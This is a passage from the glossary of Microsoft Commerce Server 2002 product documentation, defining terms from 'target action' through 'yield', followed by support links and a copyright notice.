An option that specifies that a piece of content is to be shown when the target is met more often than when the target is not met. Use target action when it is difficult to deliver against the targeting goals of the campaign item (for example, there is not enough of the target available to require the content be shown). For example, if you are to deliver 1000 ad requests to users who live in Alaska, and you only have 15 users in Alaska, you need to deliver that ad to users who do not live in Alaska. Use the Target Groups module in Business Desk to specify the target action for an expression.

target expression

For Commerce Server campaigns, an expression that identifies where, when, and to whom content should be displayed. For example, you can target content to users who have specific profile properties. You can also target content to specific sections of a Web site. For example, you can create a target expression that will display certain ads only on Sports pages.

See also: personalization, target

target group

A collection of targets that content is to be shown to. When you form a target group, you combine two or more expressions. By combining expressions in a target group, you can create expressions that use OR statements, effectively targeting a wider audience.

See also: personalization, target

Target Group module

The Commerce Server Business Desk module used to manage target groups.

targeting

Delivering specific content to specific users.

task

In Commerce Server Business Desk, an operation performed from an action page, often leading to the display of a different action page where the details of the task are performed. Tasks are initiated by pressing a task button. Some tasks, such as Edit and Remove, are context-sensitive; they apply to whatever is selected in the current action page.

taskpad

A view of the details and tasks that relate to specific nodes in the Commerce Server Manager tree. For example, the taskpad view for the Commerce Sites node displays the sites and site tasks you can perform. Use taskpad to perform tasks such as packing a site, deleting a site, or adding resources to a site.

Tax Rates module

The Commerce Server Business Desk module used to update tax tables and rates for your Web site.

text file

A file composed of text characters. A text file can be a word-processing file or a plain ASCII file encoded in a format that can be read by nearly all computers. For the Campaigns Manager module, text is one of the types of display available for ads and discounts. An ad of this type displays as lines of text on the page.

three-tier architecture

An architecture that divides a networked application into three logical areas: the user interface tier (also called the top tier), the business logic tier (also called the middle tier), and the database tier (also called the bottom tier). Tiers may have one or more components. For example, there can be one or more user interfaces in the user interface tier. Also, each user interface may communicate with more than one application in the business logic tier, and the applications in the business logic tier may use more than one database at a time. Components in a tier may run on a computer that is separate from the other tiers, communicating with the other components over a network.

ticket

A string of property/value pairs used to store authentication and other information about a user. For example, "userID/joeuser" is a property/value pair. Ticket data can be stored in a cookie or a URL query string.

See also: authentication ticket, cookie, profile ticket

toolbar

The horizontal row of buttons located at the top of a Commerce Server Business Desk screen when the content pane is displayed. You use these buttons to access the functionality available from that Business Desk screen.

tracing

A form of debugging, using the Trace class, that tracks and presents execution details of a running application. Tracing is available to any ASP.NET class that implements a Trace property.

trading partner

An external organization with which your organization exchanges electronic data. The exchange of data among trading partners is governed by the agreements, pipelines, and distribution lists that are created between your organization and the trading partners. The exchange of data among trading partners is handled by Microsoft BizTalk Server 2000.

transacted pipeline

A pipeline that supports COM+ transactions. MtsTxPipeline and PooledTxPipeline are the only objects that support transactions. If any component in a transacted pipeline fails, the work of the preceding components in the pipeline is undone, and the object ends the transaction.

See also: non-transacted pipeline, pipeline, pipeline object

transaction

A group of operations that are logged so that, if necessary, the operations can be undone in case of an error. Commerce Server 2002 provides pipeline objects that support transactions.

Transaction Config resource

A Commerce Server resource with site-level properties, managed through Commerce Server Manager. Use the Transaction Config resource to configure the connection string to the database containing transaction meta-data.

transaction data

The data that is generated when users purchase products from your site. Transaction data can include any user activity recorded from a product page, a basket page, or a checkout page. For example, it might include the name, shipping address, date and time, product purchased, and total order value.

Transactions resource

A Commerce Server resource with site-level properties, managed through Commerce Server Manager. Use the Transactions resource to configure the connection string to the database containing transaction meta-data.

TreeView HTML Component (HTC)

The HTML Component (HTC) used to display an Extensible Markup Language (XML) structure in an expandable tree format.

TRUSTe

An independent, non-profit initiative whose mission is to build the trust and confidence of users on the Internet by promoting the TRUSTe principles of fair information practices. Microsoft is a premier sponsor of TRUSTe and a member of the TRUSTe privacy program.

U

Uniform Resource Identifier (URI)

Identifies points of content on the Internet. The content can be a page of text, a video or sound clip, an image, or a program. The most common form of URI is the Web page address, also known as the Uniform Resource Locator (URL). A URI usually includes the file name for the resource, the name of the computer the resource resides on, and the protocol used to access it. For example, http://www.microsoft.com/sql/techinfo/security/password.htm.

Uniform Resource Locator (URL)

The address of a file (resource) accessible on the Internet. The type of resource depends on the Internet application protocol. For example, for the Hypertext Transfer Protocol (HTTP) used on the World Wide Web, the resource can be an HTML page, an image file, a program such as a Common Gateway Interface (CGI) application or Java applet, or any other file supported by HTTP. The URL contains the name of the protocol required to access the resource, a domain name that identifies a specific computer on the Internet, and a hierarchical description of a file location on the computer.

unique key

A field that contains a unique identifier for each record in a table. For example, the social security number field is a unique key for employee records.

See also: primary key, referential integrity, foreign key

unique user

A user distinguished as unique within a specified period of time. For example, a user may visit your site 130 times within a one-month period. Commerce Server counts the user as a unique user only once. However, Commerce Server counts the user as a (non-unique) user 130 times during the same one-month period.

See also: user

Universal Character Set Transformation Code (UTF-8)

A protocol used to transform extended multibyte Unicode characters to variable-length sequences of single-byte values to provide compatibility with legacy file systems, parsers, and other software that rely on single-byte ASCII values but are transparent to other values. Commerce Server Enterprise Edition enables you to import UTF-8 log files.

unmanaged code

Code that is created without regard for the conventions and requirements of the run time. Unmanaged code executes in the common language run-time environment with minimal services (for example, no garbage collection, limited debugging, and so on).

unregistered user

Someone who visits a Web site and purposefully does not provide the personal or identifying information required to register.

up sell

A specific type of related sell that suggests to users that they replace a product they are looking at or have in their basket with a better product. Use the Software Development Kit to add up-sell functionality to your site.

See also: intelligent cross-sell

update

To rebuild the full-text index. Used only in the Catalog Editor module of Commerce Server Business Desk.

URI

See Uniform Resource Identifier.

URL

See Uniform Resource Locator.

usage profile

A set of properties that describe the traffic patterns on a site. For example, a usage profile shows how many people browse a certain page, the browse-to-buy ratio, and how many users add an item to their basket and then remove it. System administrators use the usage profile to determine how many Web servers are needed and to configure a site.

user

A person who visits a commerce site at least once. User refers to any person who clicks on the site, whether or not the user has registered.

See also: unique user

user interface tier

One or more programs with which users interact. In a Commerce Server installation, the user interface tier includes your e-commerce Web application and the Business Desk application.

user list

A list with an rcp_guid column that contains user IDs.

user profile

A set of predefined properties that describe a user. For example, name, address, and gender properties can constitute a user profile.

Users module

The Commerce Server Business Desk module used to modify user records and add and delete user information.

UTF-8

See Universal Character Set Transformation Format.

V

value

The actual data assigned to a profile property. For example, the profile property "First Name" might have the value "John."

variant

A single combination of the attributes that are available for a product. For a given type of shirt, for example, each combination of color, size, and unique stock-keeping unit (SKU) is a variant. Each product variant always includes a unique identifier, such as a stock-keeping unit (SKU), and a price. Each product variant is based on the same product definition.

vendor

See supplier.

vertical scaling

Increasing Web site capacity by upgrading hardware (for example adding RAM or processors), while maintaining the physical footprint and number of servers in the server cluster. Also called scaling up.

See also: horizontal scaling

vignette ad

An ad composed of text that is displayed adjacent to the image where the ad is displayed. The text can be to the left, right, or top of the ad image.

virtual catalog

A catalog that references the product data in one or more base catalogs. If you add a product to a base catalog, the product may also appear in the associated virtual catalog, depending on the inclusion rules. Products are represented once in the database regardless of how many virtual catalogs they appear in. A virtual catalog inherits all the languages of the base catalogs. There are three primary uses for virtual catalogs: to aggregate multiple catalogs so they appear as one catalog to users; to price products in multiple currencies; and to provide special pricing, or subsets of products, for specified groups of users.

See also: base catalog, catalog, catalog set, custom price, materialize, aggregated catalog, custom catalog

virtual directory

A directory name, used in a Web address, that corresponds to a physical directory on the server; sometimes called URL mapping. In Internet Information Services (IIS0 5.0) a virtual directory is the next item in the Microsoft Management Console (MMC) hierarchy under a Web site (virtual server), and inherits properties from the Web site. Some of these properties can be overridden at the virtual directory level; others cannot. Applications, including Commerce Server applications, are at the virtual directory level in IIS, and have the same parent-child relationship with the Web site.

virtual server

Also called a Web site (such as the default Web site). A virtual computer that resides on an HTTP server but appears to users as a separate HTTP server. Several virtual servers can reside on one computer, each one capable of running its own programs and each one with individualized access to input and peripheral devices.

Each virtual server has its own Internet domain name and Internet Protocol (IP) address and appears to users as an individual Web site. Some Internet Service Providers (ISPs) use virtual servers for those clients who want to use their own domain names. An ISP may want to create multiple Internet Information Services (IIS) 5.0 Web sites and unpack Commerce applications for different clients into separate IIS Web sites. Commerce applications under different IIS Web sites can share global resources.

visit

A series of requests by a user. Visits begin in one of two ways: users can be referred to the site through a link, or they can type the site URL into their browser. A visit ends when a specified period of time (the default is 30 minutes) has passed without any additional requests to the site.

See also: closed visit, open visit

visit duration

The time between the first and last request of a visit. This time does not include the time a user spends viewing the last request of a visit.

W

Web application

See application.

Web farm

Two or more Web servers connected together for the purpose of sharing resources and request load. Typically, a Web farm will involve support for load balancing, fault tolerance, and failover, and will appear to the user as a single server with a single Internet Protocol (IP) address. Also called a server farm or server cluster.

See also: cluster, server cluster

Web form

The ASP.NET page framework that supports the server-side controls that render an HTML user interface on Web browsers. Also known as an ASP.NET page.

Web server

In general use, a computer equipped with the server software that uses Internet protocols such as HTTP to respond to Web client requests on a Transmission Control Protocol/Internet Protocol (TCP/IP) network.

In Commerce Server, a Web server is a physical server computer running Internet Information Services (IIS) 5.0; it inherits properties from the IIS Web Site. A Web server appears under an application in the Commerce Server Manager console. One commerce application can use multiple Web servers that serve different types of content for the application.

Web server control

An element that can be dropped into an ASP.NET page or Web form. Web server controls are hierarchical, programmable, reusable server-side objects (with or without a user interface).

Web site

In general use, a collection of files and applications accessed through a Web address, covering a specific theme or subject, and managed by a particular person or organization. A Web site resides on servers connected to the Web network and provides content that is available to worldwide users 24 hours a day, seven days a week. Web sites typically use HTML to format and present information and to provide navigational facilities that enable users to move within the site and around the Web. From an Internet Information Services (IIS) 5.0 administration standpoint, Web site specifically means a virtual server (such as the Default Web Site). A virtual server is a virtual computer that resides on an HTTP server but appears to the user as a separate HTTP server. Several virtual servers can reside on one computer, each one capable of running its own programs and each one with individualized access to input and peripheral devices. Each virtual server has its own Internet domain name and Internet Protocol (IP) address.

weight

A means of determining when a campaign item is displayed, relative to all of the campaign items for a given customer. In a campaign, weight only applies to ads that are goaled at the campaign-level. For house ads the weight is relative to all other house ads for all customers and all campaigns. For paid ads, the weight is relative to other paid ads in the same campaign. To determine when discount campaign items are displayed you use priority, not weight.

See also: house ad, paid ad

Windows account

A record that consists of all the information that defines a user to Windows 2000. The Windows account for each user or SQL Server login is mapped to a user account in a database. The system administrator creates Windows accounts and sets permissions for user or group accounts within the Business Desk Permissions module.

See also: Permissions module

Windows Media Services ad

An ad that displays high quality audio and video advertisements.

Windows Script Host (WSH)

A language-independent scripting environment for 32-bit Windows platforms, installed by default with Windows 2000 and IIS. WSH can be used to automate administrative tasks on a server, using any scripting language.

WSH

See Windows Script Host.

X

XDR

See definition for: XML Data Reduced

XML

See Extensible Markup Language.

XML Data Reduced

A standard for defining an XML Schema.

XML data-island

See Extensible Markup Language (XML) data-island.

XML Web services

Units of application logic providing data and services to other applications. Applications access XML Web services via standard Web protocols and data formats such as HTTP, XML, and SOAP, independent of how each XML Web service is implemented. XML Web services are a cornerstone of the Microsoft .NET programming model.

XMLHTTP operations

See Extensible Markup Language/Hypertext Transfer Protocol (XMLHTTP) operations.

Y

yield

In Business Desk reports, the number of actual ad requests divided by the number of ad requests that were specified in campaign goaling in the Campaign Manager module. Commerce Server determines the number of times to display a piece of content, such as an ad on your site, by analyzing the number of ad requests recorded on your site and the need of delivery (NOD) for the ad. After the ads runs for a period of time, you run the Campaign Item Summary report, which calculates the yield percent, showing the effectiveness of that ad campaign on your site.

See also: ad request, Need of Delivery (NOD), campaign goaling


Support Online

Online Support
and Information

* | Microsoft Commerce Server Web site
* | Microsoft Security Web Site
* | Commerce Server ISV Partners Web site
* | Commerce Server Solution Sites Web site
* | Microsoft Product Support Services Web site
* | MSDN Online
* | MSDN Online Library
* | Microsoft COM Web site
* | Microsoft SQL Server Web site
* | Microsoft Accessibility Web site


Copyright

Information in this document, including URL and other Internet Web site references, is subject to change without notice. Unless otherwise noted, the example companies, organizations, products, domain names, e-mail addresses, logos, people, places and events depicted herein are fictitious, and no association with any real company, organization, product, domain name, e-mail address, logo, person, place or event is intended or should be inferred. Complying with all applicable copyright laws is the responsibility of the user. Without limiting the rights under copyright, no part of this document may be reproduced, stored in or introduced into a retrieval system, or transmitted in any form or by any means (electronic, mechanical, photocopying, recording, or otherwise), or for any purpose, without the express written permission of Microsoft Corporation.

Microsoft may have patents, patent applications, trademarks, copyrights, or other intellectual property rights covering subject matter in this document. Except as expressly provided in any written license agreement from Microsoft, the furnishing of this document does not give you any license to these patents, trademarks, copyrights, or other intellectual property.

© 1996-2002 Microsoft Corporation. All rights reserved.

Microsoft, Active Directory, ActiveX, BackOffice, BizTalk, Developer Studio, FrontPage, Hotmail, JScript, MSDN, MS-DOS, MSN, Outlook, PivotChart, PivotTable, Verdana, Visual Basic, Visual C++, Visual Studio, Webdings, Win32, Windows, Windows Media, and Windows NT, are either registered trademarks or trademarks of Microsoft Corporation in the United States and/or other countries/regions.

The names of actual companies and products mentioned herein may be the trademarks of their respective owners.